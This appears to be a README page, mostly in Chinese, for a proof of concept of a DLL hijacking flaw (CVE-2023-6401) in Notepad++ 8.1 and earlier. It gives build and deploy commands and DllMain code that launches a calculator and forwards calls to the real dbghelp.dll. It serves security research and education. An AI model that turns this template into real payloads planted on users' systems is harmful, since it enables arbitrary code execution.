
CVE-2023-6401 · DLL Hijacking Proof-of-Concept English | 中文 中文 ⚠️ 重要聲明:僅供安全研究和教育目的使用 NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。 快速開始 “`bash 下載專案 git clone https://github.com/mekitoci/CVE-2023-6401.git 進入專案目錄 cd CVE-2023-6401-main 編譯DLL gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,–subsystem,windows 部署到NotePad++目錄 copy dbghelp.dll "C:Program FilesNotepad++" 執行測試 "C:Program FilesNotepad++notepad++.exe" 立即清理 del "C:Program FilesNotepad++dbghelp.dll" “` 預期結果: 計算器彈出 + 訊息框顯示 + NotePad++正常啟動 漏洞詳情 | 項目 | 詳情 | |——|——| | CVE編號 | CVE-2023-6401 | | 影響版本 | NotePad++ ≤ 8.1 | | 漏洞類型 | DLL劫持 / 搜尋路徑劫持 | | 影響 | 執行任意程式碼 | | 前提條件 | 應用程式目錄寫入權限 | 原理 Windows按以下順序載入DLL: 1. 應用程式目錄(最高優先級) 2. System32目錄 3. Windows目錄 4. 當前目錄 5. PATH環境變數 NotePad++啟動時會載入 dbghelp.dll,通過在應用程式目錄放置同名惡意DLL,可在系統DLL載入前執行程式碼。 技術實現 核心代碼 “`c BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // 執行惡意程式碼 WinExec("calc.exe", SW_SHOW); MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK); // 載入真實DLL並轉發API調用 char systemPath[MAX_PATH]; GetSystemDirectoryA(systemPath, MAX_PATH); strcat(systemPath, "\dbghelp.dll"); realDbghelp = LoadLibraryA(systemPath); if (realDbghelp) realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader"); break; } return TRUE; } “` 關鍵特點 搜尋順序劫持:利用Windows DLL搜尋機制…Read More
References
Back to Main